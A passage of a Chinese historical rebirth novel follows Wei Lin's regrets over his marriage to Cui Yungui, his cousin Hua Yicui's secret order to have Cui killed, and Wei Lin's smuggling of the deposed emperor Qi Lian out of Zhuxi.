一轮弯月照九州,几家欢喜几家愁,今日天上虽然没有弯月,但欢喜与愁绪两种极端依旧在不同人身上上演。
相较于崔云归的满心欢喜,魏麟这边可以说是愁云惨淡。
“大爷。”
寸笺斟了杯热茶放到魏麟面前,今日竹溪官员为魏麟办的接风宴散的晚,他们就直接歇在了公廨里面。
魏麟闭着眼睛单手扶额,他今日苦闷,既为崔云归那些伤人的话也为今日崔家发生的一堆家事。
今日发生的许多事都与前世他的认知出入很大。
前世这个时候他也奉命来竹溪查案,但士农工商,自古以来商人都是为世人看不起的,他那时新婚不久,对崔云归并无太多情义,自然也看不起经商的崔家,所以就算在竹溪当差,就算知道崔家是妻子的娘家,他也不曾踏足过。
关于崔家,他都是听传言说的。包括娶崔云归,他也并不甘愿。
侯府前朝降臣,徒有虚名,他自幼便知道家中的处境,也明白肩上的重担,他知道娶不了官爵人家女儿为正妻,也知道侯府亏损,需要银两填窟窿,所以当父亲让他娶崔氏女之时,为了家族大计,他只能点头答应。
父母之命,媒妁之言,他本不该挑剔,但娶一个商户女进门,他起先还是觉得抹不开脸,所以在崔氏进门后才会任由母亲和表妹欺负她。
他刻板的认为崔氏女出身商户,遇到这种事定然做小家之态,哭哭啼啼的同他告状,要他主持公道。
出乎他意料,崔云归将委屈全都咽下了,她不吵不闹,一句婆母刁难、表妹诬陷都从未在他面前提过。
他回房睡她便伺候着,他不回去她便安于一隅,安静的仿佛仿佛他不曾娶妻一般。甚至在他提出要纳整日于她作对的表妹为妾时,崔云归也不拈酸吃醋,反而将他纳妾一事办的漂亮极了。
他也曾庆幸过歹竹出好笋,一个商户家中竟养出了一个这样贤惠识大体的闺秀出来,最主要的是这样百里挑一的好笋竟还被他娶回了家。
后面他逐渐被这种贤惠吸引,放在她身上的目光多了,两人却因为表妹花倚翠越行越远,最后竟闹到不复相见的境地。
说是不复相见,其实也就是崔氏将留云居的门关了起来,单
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方面与侯府里的人和物隔绝开来。
看着崔氏闭门不出的样子,他没来由的开始心慌,他那时觉得她就如同她的名字一般,云归云归,她是一朵要归到天上去的云,他短暂拥有后将永久失去,所以他慌了,他想出了用孩子留住她的办法,想把这片已经离他而去的云重新藏进怀里。
在他的蓄意为之下,在他们成亲后的第九年,崔云归怀上了他们的第一个孩子,也是他的嫡子。
他不敢正视自己那晚的卑劣,也不敢表现出重视,他怕表妹花倚翠嫉恨崔氏从而去害他们的孩子,所以他从不去看她。
他像一只阴沟里的老鼠,只能在无人的夜晚默默窥探着自己的妻子,他在知道她不想要孩子之时夜不能寐,又在知道她决定留下孩子之时乐不可支。
他时刻关注着留云居,在听说她怀孕闹觉之时把自己得来的宝剑送过去给她镇宅,不曾想这把剑却成了送了表妹花倚翠归西的利器。
重来这一世,他带她一同回了竹溪,与她一起踏进了崔家的大门,见识了她心中的大义,看到了她为了亡母与父亲据理力争的模样,也听到了她大声驳斥、控诉他的种种。
他后知后觉,是了,没有人会一直甘愿受委屈,正真在意一个人也不会无波无澜,只有不爱,才会无所谓,原来他以为的贤惠其实是她的不在意,他却被那错认为爱。
要接受前世生活了一辈子相濡以沫的妻子并不爱他的事实确实很难,魏麟急病乱投医,存着最后一丝崔云归其实是爱他的心抓住了寸笺:
“依你之见大奶奶对我是否有情?”
这种事他怎么会知道?
寸笺回想了一下崔云归日常对魏麟的态度,实在看不出来他们夫妻两相爱的痕迹,但他知趣,知道魏麟想听什么。
“大爷与大奶奶自成婚起便相敬如宾。 ”
“相敬如宾……”
他说完,魏麟细细的嚼着这四个字,一遍又一遍,而后突然沉声笑了出来。
相敬如宾,夫妻之间相互尊敬,就像宾客一般。
一个很好的词,可他们是夫妻啊,是世上最亲近的两个人,竟是如同宾客一般疏远。
寸笺意识到自己说错了话,忙找补:“琴瑟和鸣!大爷与大奶奶是琴瑟和鸣。”
他再说,魏麟却是不听了,他撑着桌子起身,将早已冷透的茶水一口吞下,挥手让寸笺退下。
他此时这副样子太过反常,寸笺不放心也不敢离去,他上前搀住魏麟:
“大爷,你醉酒了,我扶你去歇下?”
魏麟本就困在前世今生的真真假假中心生燥郁,他现在就像一个即将自燃引线的炸弹,用力将寸笺推开:
“我说让你走!”
寸笺毫无防备,被他一掌推到在地,从他这个角度看去,恰好看见魏麟披头散发的模样,如同在世的阎罗恶鬼。
寸笺从未见过魏麟这幅样子,他心生惧意,顺着魏麟从地上爬起来退出房去,但他并没有走,而是守在门外。
万籁俱静,雨落房顶的“噼啪”声清晰可闻,空荡的房中只余了他一人。魏麟颓然的跌坐回去,无边孤寂下,他在悔恨也在强求,悔恨前世,强求今生。
22.表姑娘竟是幕后黑手?
南方雨多北方旱,竹溪阴雨连绵,安阳却是万里晴空,月明星稀的好天气。
同一日,虽然魏麟和花倚翠身未在一处,但二人的心情大同小异。
无他,只因这一日魏麟的第二封家信寄回了家。
魏麟做任何事都遵循着自己的规律,写信也不例外,他第一次离家,所以往家中寄信的频率便频繁了些,约摸一旬就有一封寄到忠节侯府的信。
相识十数年,夫妻八年,花倚翠对魏麟的习惯了如指掌,到了魏麟第二封信来家的那日,她一早便坐到前厅里等着去了。
不知是上一封信给她的打击太大了,还是已经接受了魏麟没想起她来的事实,这一次魏麟的来信中依旧没有提到她,但她却不哭不闹,看完了信就回房继续绣她那件已经绣了一半的嫁衣。
一直绣到了用过午膳后,花倚翠依旧平静,没有丝毫要发作人的意思,她越这样,朝露就越胆战心惊,她不知道这把刀究竟什么时候回会落下,所以惧怕。
朝露战战兢兢,花倚翠终于在午憩后有了动作,不过不是大吵大闹,而是让朝露吩咐人去套车,她要去三春晓买珠钗。
“姐姐,表姑娘又去三春晓买首饰啊?”
套马的仆夫伸出三根手指笑呵呵的和朝露搭话:
“表姑娘往年都爱去琼珍楼,今年算上这次来说,表姑娘都去了三次三春晓了,莫非今年三春晓出了什么新奇物件?”
表姑娘去琼珍楼买的都是成品珠钗,去三春晓都是喜欢的样式但市面上没有的卖,这才要拿到三春晓让掌柜定制,上次去,表姑娘便定制了一根流云簪,但这些事朝露怎么会告知一个套马的仆夫。
“表姑娘的事岂是你能打听的?还不快去套马车,当好你的差!”
仆夫的揣测被朝露凶了回去。
被呵斥了的马夫也不恼,嬉皮笑脸认下错:
“姐姐教训的是,表姑娘的事就算借我八百个胆子我也不敢打听,我只想问三春晓里有没有姐姐看中的物件,我给姐姐买个,讨一讨姐姐开心。”
他想的什么朝露心里一清二楚,但他有意是他有意,她可没有这份情。
朝露摆摆手绢,伸手一指之时颇有花倚翠几分影子,说话时更像:
“套好马车去门前侯着表姑娘,再油腔滑调,仔细你的皮!”
仆夫见她脸上不是玩笑的神情,忙收了那副嬉皮笑脸,伏低称小:
“是,是,姐姐说的是,我再也不敢。”
“姑娘,要买首饰还是胭脂?我们店中新出一款叫‘银湾娇'的胭脂,里头加了银箔,啧啧啧,抹上那是一个好看!买过的都说好,姑娘看一看?”
脚一落到三春晓铺面的地上,店里的伙计就热情的围了上来推销店中的新品。
“我不买胭脂,叫你们掌柜的出来。”
花倚翠偶尔来这转转,前段时间还在这定做了支流云银簪,方才带着帷帽店小二没认出来,现在她一张口店小二便知道她了。
“是花姑娘啊,又是来定做银簪的吧?姑娘往二楼稍坐,我这就叫我们掌柜过去。”
二楼有一间见客的雅厅用来招待客人,花倚翠不久前才来三春晓逛过,对三春晓也是熟门熟道,无需等小二说完就抬脚往楼上走了。
花倚翠显然是不打算与掌柜详谈,朝露给她擦好了凳子也没见她坐下。
“掌柜,我来定做一对并蒂钗,这个样式可做的出来?”
花倚翠把在房中早就画好的样式给掌柜,掌柜拿过画纸看了后收进袖中:
“做的出,做的出!姑娘什么时候要?”
“自然是越快越好,做好后不必等我来取,差个人送到忠节侯府去,与看门的小厮说是表姑娘的东西就行。”
掌柜应声,脸上堆满了笑:“是,做好后我差店里的伙计给姑娘送去,姑娘,这钗做下来约摸三两银子,你看这?”
“今日先付一两做定金,剩余的那些待钗子送到了府中再付。”
说着,花倚翠斜了眼朝露。
朝露立刻上前掏出一两银子付给掌柜,她伺候花倚翠多时,很多时候花倚翠一个眼神她就能明白她什么意思。
花倚翠此次出来好似真的只是来定做并蒂银钗的,从三春晓出来后便直接回了忠节侯府,第三处地方都没去。
回了府中花倚翠换了条霞帔开始绣,这一绣便绣到了忠节侯和魏花氏叫她去用晚膳,用过晚膳从敬雪堂回到自己院子中花倚翠便说自己困了,让朝露连同院里的小丫鬟都回去休息,不必在这守着。
朝露和院里的丫鬟当她是大悲之下精神错乱,失了智,躲都来不及躲,这下花倚翠让她们下去休息刚好正中下怀。
“朝露姐姐,你说表姑娘是不是受了打击失智了?”
好事的丫鬟趴在床上双臂交叠枕着脸希望朝露认同自己的观点。
朝露是花倚翠身边的一等女使,和一同伺候花倚翠的两个二等女使住在一起,平日里那两个二等丫鬟就常在卧房里议论花倚翠。
这不,明明是问朝露的话,朝露还没答,另一个丫鬟就抢着说:
“我看是了,以前绣嫁衣也就罢了,今天还突然开始绣起霞帔了,那是正头娘子嫁进门穿的,大爷去年便娶了新妇,表姑娘如何穿的上?”
她说完,两个人都看向朝露,朝露将擦过脸的巾帕丢回盆中:
“许是表姑娘不嫁大爷了。”
这话谁信呢?这么多年,表姑娘要嫁给大爷做姨娘在府中早已人尽皆知。
夜色沉酽,观月阁的小轩窗中透出一点光亮来,而后这抹光亮出了院门,一路蜿蜒折行到了忠节侯府东北角荒废的偏院里。
“什么人?”
一个男人的声音自屏风后响起,他早已在那里等候多时了,来人也不见一丝惊讶,吹灭了灯笼摸黑走到了屏风前:
“三春晓的大东家。”
竟然是花倚翠的声音!
男人好似被触发到了什么机关一般,面对着屏风之后的花倚翠实打实的跪下去磕了个响头:
“奴才叩见主子!”
两次都没把崔云归送上西天,花倚翠心里有气,便故意不叫男人起来,让他跪着听她训话。
“你们如今怎么办的事?!几个大男人两次那样好的时机都没有除掉那个贱人!”
男人从感觉上来说好似很畏惧花倚翠,没有她的命令,他的头甚至都不敢离地。
“主子恕罪,崔氏命太硬了!两次奴才们皆是快要将她斩与刀下时突然跳出来一个男子把她救下了。”
花倚翠肝火大动:“贱人!真是狐媚子转世!你们也是毫无血性!折损了这样多了人也不知道事后把救那贱人的男人杀掉泄愤?!”
男人表示很冤枉,是他不想泄愤吗?是他无血性吗?分明是他得罪不起!大东家身处闺阁不知晓那人身份,他相信若大东家知道后定然会理解他再成为他,所以他把那人的身份说给了花倚翠听。
“主子有所不知,两次救崔氏的是同一个男子,名字叫凤淮,此人
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是祁骁的走狗,任玄机署的指挥使,上次水月庵杀崔氏失败后,玄机署抓了我们十三人,想要抓一个活口去审问,好在们藏的快,才没有损失更多。”
男人一直伏在地上以头触地,整张脸已经因为充血而泛红,说起话来已经有些嗡里嗡气。
花倚翠理解不了男人的暂避锋芒,也没有察觉出来男人声音的异样,她的心里已经被一个想法填满——让崔云归去死!
她恶狠狠的瞪起眼睛,月光照在她柔美秀气的脸上,好似给她戴了一张狰狞的假面,她不管不顾:
“那就加大人手!再遇到那个叫凤淮的把他也一并杀了,最后一次,我要那个贱人死!”
“……”
她已然是魔怔了,男人劝无可劝,只能应下:“是。”
侯府守卫森严,不宜久留,花倚翠戴上帽兜提着灯笼打算离去,临走前还不忘对男人强调:
“这一次不管如何我都要听到那贱人死的消息!”
男人跪伏着,不敢悖逆她:“是。”
脚步声响起又淡去,男人拍着衣服上的灰从地上站起来,趁着守卫换班的间隙从跑了出去,如同他来时一样。
“阿嚏!”
“大人?”
江停枫停下来看着凤淮,不知道此时他是应该先关心凤淮还是继续说下去。
竹溪的夜雨淅淅沥沥下个不停,凤淮摸了摸鼻尖起身把窗户关了:“何人想我?”
“大人你说什么?”
江停枫眨巴眼睛竖起耳朵表达自己的疑问,他离窗户远,没听清凤淮嘀嘀咕咕说的是什么。
“无事,你继续说。”
凤淮抿了口热茶,跨过了江停枫的疑问带着他一起回归到了正题。
“是,七日前,我们在竹溪城外找到一方巾帕,帕上绣着五爪金龙,拿给专人看过,是废帝的不错,循着我们发现的线索,推测出废帝来了竹溪……”
“咚!咚!”
正说着话,打更人敲在铜锣、梆子的声音就响了起来,打更的声音就在楼下,盖过了人的声音,江停枫只好等着打更人远了一点才继续说:
“这几日我带人日日对竹溪城门往车辆摸查,皆没有发现废帝,由此观之,废帝现在极有可能就混迹在竹溪城中的某一个角落。”
凤淮低头沉思,突然从凳子上站了起来,江停枫以为凤淮有什么指示,忙不迭的也跟着站了起来。
他严阵以待,却只见凤淮从容自若的点头示意:
“嗯,我知道了,下去吧。”
江停枫傻眼了:“啊?”
凤淮去往床榻的脚步停下,指了指窗户外面:
“二更了,我该睡下了。”
“……”
江停枫带上凤淮的房门走进了隔壁,七日的奔波劳累居然让他忘记了指挥使是只极度爱惜自己容貌的花孔雀。
半个多月前凤淮领旨与卫将军余靖川一并去剿匪平乱,剿到一半,探子来报说有了废帝的线索,两相思虑之下,凤淮决定留下助力卫将军剿匪,让江停枫先行过去盯住废帝祁连,待剿匪事宜一了他就马不停蹄的过来了。
是他大意!仅仅七日就忘了凤淮“二更天必睡”的生活习惯。
江停枫和衣躺下,背部接触到床榻的那一刻由内到外的感到前所未有的舒爽。
天知道他这七日过的是什么通宵达旦、彻夜难眠的生活!为了保住他这月剩余的那点俸禄,江停枫不眠不休的跟进盯守,才没让废帝的线索断在自己手上。
23.偷梁换柱
雨落芭蕉,珠赖圆荷,竹溪昨天下了一夜的雨,今儿一早天居然放起晴来了。
昨夜消食睡得晚,导致今天崔云归睡到巳时末才悠悠转醒。她这刚睁开眼,就与撩开床帐来查看她情况的春寻眼对上眼了。
出于赖床的习惯,目光相撞那一刻崔云归卷着被子往床榻深处侧去,春寻身手敏捷,一把揪住了被子把崔云归扯了回来:
“姑娘,可别睡了,姑爷都把三公子都接回来了。”
崔云归刚睁眼,脑子里还是一团浆糊。春寻无视崔云归泛着薄寒的眼神,直接把她从被窝里捞出来。
门外伺候洗漱的人早已等候多时了,此时春寻一声令下,她们便鱼贯而入的涌上来,洁面的洁面,穿衣的穿衣,井然有序,各司其职,不消一刻钟便把崔云归收拾个利落。
等坐到梳妆镜前崔云归已经完全清醒了,她捏着耳环穿进耳洞,混沌的脑子里一点东西也记不住,将一早春寻给她说的话又问了一遍。
“三公子接回来了没?”
她这幅样子春寻看得多了也不意外,倒了一点梳头油在手上搓匀后抹在她头发上又耐心的说了一遍:
“接回来了,姑爷一大早就叫上来旺去接了。”
崔云归蹙眉:“魏麟去接的?”
春寻没听出她语气中的不对,将一缕头发拧紧盘在发髻上:“是啊,姑爷今日一早就差人套好了侯府的那辆马车,说你昨日叮嘱他今日去接三公子。”
崔云归隐隐察觉到了几分蹊跷,她不曾说过让魏麟去接崔云焱这样的话,魏麟突然间怎么这么殷勤?还冒充她的名头?
魏麟搞的什么鬼?
春寻梳好了头发见她想的入神也从中捕捉到了几丝不对劲。
昨天从崔氏祠堂出来后姑娘一直待在漪澜院,姑爷则是去了前厅见客,后又直接去赴了知州为他办的接风宴。
两人从祠堂前分手后就没有再见过面,也中间也未差人带过话,根本就没有机会说什么让姑爷去接三公子的话。
崔云归颦着眉想了半晌想不出个所以然,于是干脆的放弃了:
“算了,用过午膳后叫来旺过来,就说我有事问他。”
春寻点头,把一支玉簪往崔云归梳好的发髻上簪,触景生情之下又想起那支价值六百两的孔雀钗来:
“姑娘平日最喜那支孔雀金钗,怎就这样掉了。”
什么掉了,明明是她当救命报酬送了出去,崔云归捏着黛笔面不改色心不跳:
“再喜爱不过也是身外之物,掉了便掉了吧,日后得了闲再找人做一支。”
那日惊险的情况犹在昨日,姑娘丢了钗子但保了命,真是不幸中的万幸,春寻忙点头赞同:“姑娘说的是。”
提起闲时,她又想起今早的一桩事,话锋一转:
“姑娘还不知什么时候才能得闲,今天知府夫人递了请帖过来,说是三日后在家中设宴,邀你过去一同吃酒,姑娘要不要去?”
崔云归将眉笔搁下,对着铜镜涂起了口脂:
“知府夫人相邀必然是要去的。”
说完她起身穿上外衣向外走去,春寻说的不错,她真还不知几时得空,崔家这一筐子烂事都不知道要忙几天,还有一堆官眷夫人要应付。
至于魏麟突如其来的殷勤,这还要从今早开始说起。
晨光乍泄,街上便热络起来了,魏麟带着寸笺在大街上游逛,他们正在找丫鬟口中竹溪最大的首饰铺子琼玉斋。
经过一夜的考量,魏麟终于从前世今生里的真真假假脱出身来了。
他想了一夜,最后得出了一个结论,他爱崔云归,也许一开始是被她的贤惠所吸引,但在他前世临死前,他很确定他确实完全又完整的爱上了崔云归。
很让人头疼的是,现在的崔云归貌似对他没什么感情,确切的来说,崔云归一直都对他没有感情。
爱情自古以来都让人欲罢不能,魏麟也不知哪来的自信,他相信精诚所至金石为开,只要他坚持不懈的对崔云归好,单相思总有一天会变成两情相悦的。
而现在,他正在迈出他两情相悦的第一步。经过反思,他确实觉得他昨日不分青红皂白指责她的行为有所不对,所以他今天打算去琼玉斋中看看有没有孔雀钗。
送礼得送到心坎上,他见她首饰珍宝无数但却常簪那支孔雀金钗,便推测她应当是极喜欢的,才日日簪在发髻上。
魏麟初来乍到,对竹溪全然不熟,不知道琼玉斋的确切地址,只能循丫鬟指的大致方位一个个找。
他当然可以叫人套上马车直接往琼玉斋去,但这样走一圈既可以快速的熟悉竹溪,又可向崔云归展示他的用心。
一箭双雕,何乐而不为!
魏麟打着心里的小算盘乐滋滋的找寻琼玉斋的牌匾,突然瞥见一处小巷中有熟悉的人影一晃而过。
祁连?
魏麟疑心自己看错,又重新瞥了一眼,那两道身影很警觉,在魏麟看过去第二眼的时候就往巷子里跑。
魏麟没有犹豫,抬脚追了上去。
虽然那二人做乞丐装扮,脸上被涂的不成样子,但魏麟很确定他看到的就是如今圣上祁骁满大燕找的废帝祁连。
大燕朝的皇储,魏麟坚信自己不会认错,逃跑的二人里,绝对有一个就是祁连,至于另外一个,魏麟想他也许也知道了他的身份。
“大爷。”
他跑的快,寸笺反应过来后紧跟在魏麟身后追了上去。
已入穷巷,再无前路,一身污秽的两个乞丐被迫在高墙面前停下来,寸笺也在此时追上了他们。
魏麟相信自己没有看错,他正了正衣冠,放慢了脚步朝背对着他的两个乞丐靠近。
这两个乞丐怎么看怎么可疑,寸笺担忧魏麟受害,快跑几步拦住了他:
“大爷,小心。”
魏麟拨开寸笺不予理会,又往前走了几步,快接近那二人时其中一个乞丐突然回头,举着一把泛着寒光的短匕直奔魏麟喉间。
魏麟虽有所提防但无拳脚傍身,只能眼睁睁的看着刀尖刺向他的喉间,眼见着就要一命呜呼的时候寸笺忽然发了狠的撞向举刀的乞丐。生死关头,寸笺爆发出的无穷潜力一下就把持刀的乞丐撞出了三尺远。
持刀的乞丐不是一般人,颇有一番拳脚功夫在身上,反应也快,寸笺将他撞出去后还没站稳,他就又举起了
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匕首往两人的命门招呼过来。
魏麟抓住寸笺的衣领躲过一刀后低声吓止面前凶相毕露的乞丐:
“祝御带,刀下留情!”
祝御带,祝锦,废帝祁连身边最信任的护卫,安阳城中有那么一段时间还谣传过他是祁连的娈宠,他也许不认识魏麟,但魏麟一定认识他。
魏麟喊完,祝锦的刀尖在距离寸笺颈间动脉一毫里的位置停下。
“你是谁?”
祝锦短匕不移,一双鹰眼锁在魏麟脸上,努力将眼前这张脸和记忆中的某个名字对上号。
魏麟不语,扶正略有些许凌乱的冠对着另一个乞丐行见天子的跪拜礼:
“微臣魏麟参见陛下,陛下万岁万岁万万岁。”
魏麟报上了姓名,祝锦有了些印象,此时再去看魏麟也与记忆中某张见过的脸有些相似,他还未放松警惕,擒过寸笺锢在臂弯里,进一步确认魏麟的身份。
“魏麟?姓魏,你是魏润的儿子?”
魏润正是忠节侯的大名,一个后生当着魏麟的面直唤他父亲的名讳可以说是直接往魏麟的脸上打了一巴掌。
魏麟放在地上的手蜷了蜷,无所用处的纠正祝锦:“家父正是忠节侯。”
背对站的乞丐终于也转过身来,看向眸光深黑阴戾,就算蓬头垢面也掩不住他九五之尊的肃杀之气。
这种目光魏麟并不陌生,这是上位者对下位者生命的漠视,他预感不好,果不其然听见了祁连毫无温度的声音。
“祝锦,杀。”
祁连以前只是不喜魏家,现在是恨透了魏家,他虽一路逃窜但也不影响他朝廷消息的掌握,当初祁骁篡位,安阳城中多有不服,唯有当时的忠节侯魏润鼎力支持。
风吹墙头草,两边倒,祁连平生最厌恶这样的人!
“是,陛下。”
祝锦得了令,刀尖抵着寸笺的脖子就要刺进去。
寸笺死了,下一个必定就轮到他了,魏麟抬手制止祝锦:
“祝御带且慢!”
紧接着他又跪行了几步,对祁连表忠心:
“陛下,往日梁灭燕起,我祖父的侯位是太祖所封,我魏家也只忠于大燕朝真正的天子,祁骁他不过一届乱臣贼子,谋权篡位,而您才是太祖昭告天下的帝王,我魏家只认陛下这一个天子!”
想当初魏家举全族弃梁归燕就是这幅说辞,一样的话说第一遍的时候祁连就鄙夷,说第二遍还能指望他信,他本想让祝锦两刀把这眼前的软弱骨头刺死,但一个转念间又有了新的主意。
“朕倒是错看你了。”
祁连扬起一抹亲切的微笑,朝祝锦睇了个眼神,祝锦很快把寸笺放开,并把短匕收进怀里,退到了祁连后面。
祁连一改开始的阴鸷模样,和颜悦色的上前托着魏麟起身:
“平昭兵变,朕为自保不得已从安阳跑出,祁骁狼子野心,欲除掉朕永绝后患,设立玄机署四处追讨我,近日他们已经追来了安阳,将安阳围的如铁桶一般,妄想将朕困死于此,朕以为你也是来抓朕的,这才下狠了手,可有吓着爱卿?”
他的目光从寸笺身上划过,此时鲜血正从寸笺的颈间流出。
24.暗度陈仓
君臣相对,魏麟目不斜视,仿佛他的眼里只能容下祁连一人。
“微臣谢陛下体恤,陛下乃九五至尊,是雷霆或是雨露,微臣都甘之如饴。”
这番话不仅表明了自己没有被吓到,还不着痕迹的表明了自己的忠心。
祁连笑着拍了拍他的肩,蓦地眉眼间又流出一丝燥郁出来:
“祁骁的玄机卫已经找了朕几天,有一次一个玄机卫几乎是擦着朕的肩膀过去的,这竹溪朕是不能再待下去了。”
官场上多有弯绕,祁连出生天家,生性多疑,一句话里面更是含射了千百种含义,不过现在他这看似只是随口之言的背后表达的意思只有一个:他要离开竹溪!
对魏麟来说,这并不难懂,他毕恭毕敬的拱手拜下:
“陛下,微臣可助您逃脱此地。”
他们都心知肚明,这是他给祁连递的投名状。
世人都喜欢聪明的人,皇帝也喜欢聪明的臣子,祁连不与他打马虎眼了,言简意赅道:
“爱卿有几分把握?”
魏麟的脑细胞高速活络着,他在脑中搜寻着可以把祁连神不知鬼不觉带出城外去的可行方法。
脑子转了一圈后他把主意打到了崔云归身上,他依稀记得昨日提过崔云归的弟弟被他岳丈打伤去庄子上休养。
这不为是一个好方法。
稍加思索,魏麟心里就有了主意,他决定就用借此机会将祁连送出去。
“陛下,微臣有九成把握。祁骁命微臣南下竹溪彻查当地官员贪污一事,臣昨日方才到此地,明日才到任,恰时臣的妻弟因家中嫌隙去到城外的庄子上养病去了,臣可借去城外接妻弟之名将陛下带出城去,只是此法恐要委屈陛下。”
城门又不是他在守,有几成把握魏麟自己也说不准,但为了获取祁连的信任往大了说总没错。
祁连不管魏麟以什么理由什么方法带他出去,他在乎的只有他能不能出去,他捏了捏紧锁的眉心,对魏麟提出了要求:
“昔日淮阴侯为大局甘受胯下之辱,朕如今受点委屈也不算什么,朕只一个要求,朕还要带三人一起走!”
“这……”魏麟颇有些为难:“陛下,臣家中的马车狭小,座椅下的格栏容下一个成年男子尚且艰难,怕是藏不住四人。”
狡兔三窟,祁连在意识到自己被围在竹溪不得动弹之后他立即将剩余的四个人分了两组,他带着祝锦作乞丐装扮为一组,另一组是他的两个内侍。
人多力量大,祁连自然是想带着他们一起出去,但如今条件不能允许,祁连的左手摩挲着右手的大拇指,以前那里戴着一个名贵的玉扳指。
摩挲了两遍,祁连就做出了决定,他指着祝锦再不容魏麟拒绝:
“朕一定要带祝锦走!”
马车上的座位一边一个,带两个人刚好,魏麟拍板,约定好让祁连和祝锦先在此等候,他与寸笺套好马车过来。
祁连本来就信不过魏麟,这会断不可能放他们两个人都回去,于是押下了魏麟,让寸笺独自回去套好马车赶过来。
许是祁连与祝锦数月躲藏后迎来了他们的好运气,套马车、与崔府派出去接崔云焱的马车会合、出城门……这一切都出奇的顺利,顺利的让祁连感到不可思议。
“陛下。”
马车已经出了竹溪的城门,在快接近崔云焱休养的庄子时,魏麟随意找了个借口支开了旺来,把藏在马车里的祁连和祝锦扶了出来。
祁连撑着祝锦的手下了马车的功夫还不忘给魏麟一个空口许诺。
“你今日所做之事我记住了,待我杀回安阳之后,必然重赏。”
“臣……”
一个字刚说出口,祝锦一个眼刀便射向他,魏麟捂住嘴,马上改了称呼:
“我只是尽了分内之事,不敢贸然领功,奢求大人奖赏。”
魏麟恭敬的把为祁连准备的钱财细软呈给祝锦,又道:
“我平生夙愿不过追随大人,是以斗胆请问大人,接下来大人将去往何地?”
普天之下莫非王土,祁连对魏麟献上的金银细软收的心安理得,他冲着祝锦点头示意他接下后就迫不及待的想走了,如今祁骁坐皇位,四处都是奉命追查他的人,在外多待一会便多一份暴露的可能。
“你的诚意我已经看到了,这里人多眼杂,我不便多待,先走一步,你自己保重。”
按照祁连平时的性格来说,这句保重已经是给足了魏麟面子。
不正面答就是回避,魏麟没三番五次追问祁连的胆子,又说了些陛下保重龙体、有事尽管与他传信之类的话后又从路边茶馆的客人那里高价给二人买了匹马后恭恭敬敬的送二人走了。
至于为什么不买两匹,一是他身上带的银子不够使,二是祁连坚持只要买一匹。
距离竹溪已经很远了,祝锦拉住缰绳让马稍微慢了些下来,与此同时,他终于有机会问出他内心的疑问:
“陛下何不与魏麟直接说要去弋州?有他掩目,陛下也许能走的顺当些。”
马背颠簸,祁连闭着眼睛后背靠在祝锦身上,眼皮都懒得抬,他语气里充满轻蔑:
“魏家,不可信。”
安阳城中传言并非空穴来风,他与祝锦之间确实存在这不为外人道的关系,所以他待祝锦总多些耐心,愿意多费口舌同他解释原因。
“梁多忠义之士,当初太祖灭梁建燕,朝中官员近乎全部殉国,真正做到了君子死节,只有魏麟的祖父甘愿做降臣,不顾魏氏全族尊严名誉也要归顺大燕。”
说到这里,就接近他厌恶魏家的真实原因了,祁连继续道:
“朕当时年岁尚小,记不得事,却唯独记得归降当日他祖父对太祖说的话。”
他顿了一瞬,而后笑的耐人寻味:
“与今日魏麟对朕说的这些话真是——毫无二致。”
————————
干杀头大事的时候不声不响,等一切都已经做完了,魏麟忽然从心里涌出一股后怕来,魏麟接回崔云焱后便浑身瘫软,别说给崔云归买发钗谢罪,就是出官廨的门都困难。
这后怕一返上来就难以平复,直至崔云归查看了崔云焱的伤势并且用完了午膳,魏麟还是没有缓回来。
“姑娘,旺来已经在院子里侯着了。”
午膳过后,崔云归又去看了崔云焱,他伤的重,又在发热
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,没个清晰的神智。崔云归放心不下,便带着崔云倩一起过去看看,正盯着丫鬟换药,秋收就进门来和她耳语。
崔云归低声叮嘱了两句崔云倩就先一步离开了崔云焱住的泉墨苑往漪澜院走去。
一路上崔云归都心不在焉,她在想为何崔乔海能狠心至此,竟把唯一的儿子打成这样。
崔家家境富足,崔云焱虽没了亲娘但好歹是崔乔海的嫡子,自小娇养的如女儿一般,从不曾受过这样的罪。
这次二十板打下去差点没把崔云焱打死,偏偏崔乔海丧尽天良,打了还不够,还要被打的不能动弹的儿子丢去了庄子里。
庄子上养的奴仆自由散漫惯了,眼里认不得半个主子,别的本事没有,看人下菜碟的本事倒大,见崔云焱半死不活的被丢过来便以为他被崔家弃了,崔云焱烧的嘴唇发白也不知道请个郎中来看看。
今生是自己大闹了一通,又叫来了舅舅施压,才把崔云焱从庄子里接了出来,前世云焱到底是怎么过来的?
崔云归根本不敢想前世崔云焱是怎样熬过来的,她只会越想越心疼,对他的愧疚就更深。
“你待会儿拿支二十年的野山参去舅舅家问舅母讨一瓶金疮药过来,要舅母在幽州得的那瓶。”
崔云归突然来这么一句,秋收还没理清她说的是什么就下意识的应下:
“是,姑娘。”
有了金疮药,崔云归暂时将这件事放下来,开始劳心另一件疑点重重的事。
“姑娘。”
旺来局促不安的站在等崔云归问话,崔云归径直走到早已为她备好的圆椅上端起茶盏抿了一口:
“今天魏麟叫你一同去的接的三公子?”
“是,昨日晚得了姑娘的话要我去庄子上接三公子回府,今天一早我便起来套了马车,刚准备走,寸笺就架着侯府的马车来了,姑爷下来与我说是姑娘昨日叮嘱了他,让姑爷今日早和我一同去接三公子。”
旺来还是一如既往的知无不言,言无不尽,崔云归喜欢这种说话方式:
“除了你姑爷还叫了谁?”
见崔云归问的都是今早的事,旺来放下心来:“没有旁的人,姑爷只叫了我赶车。”
“你们是直接去接三公子回来还是去了别处?路上可遇到了什么奇怪事?见了什么奇怪人?”
早上才发生的事,旺来稍加回想便记起了全部,他一一作答:
“我们直接去接了三公子,唯一停下来的是路过一家茶馆,姑爷说口渴,停下了喝了口茶便走了,一路上没遇见什么奇怪的人,事倒有一件,出城门的时候有两个背着大刀的人要来搜查,后守城门的士兵认出了姑爷就直接放我们过去了。”
问了一圈也没问出什么来,再问也问不出什么,崔云归直接让旺来下去了。
旺来进出漪澜远不消一炷香的时间,他有些茫然,不明白发生了何事。
他走后崔云归还坐在圆椅上。
纵然没问出什么,但崔云归还是没来由的觉得怪异,她和魏麟是一对怨偶不错,但夫妻相处多年,没人比她更清楚魏麟的无利不起早。
崔云归放下茶盏,她打包票,魏麟他绝对另有所图!
25.好事将近
这两日崔云归忙的脚不离地,又是将亡母周幼宁的牌位迁回崔氏祠堂,又是陪同崔乔海一起将崔云焱和崔云倩重新记回亡母名下,抽空还出门亲自去看了几处二进院的宅子,她这样陀螺似的转不停,连带着的一直奉命监视她的温序秋这两日也跟着她转个不停。
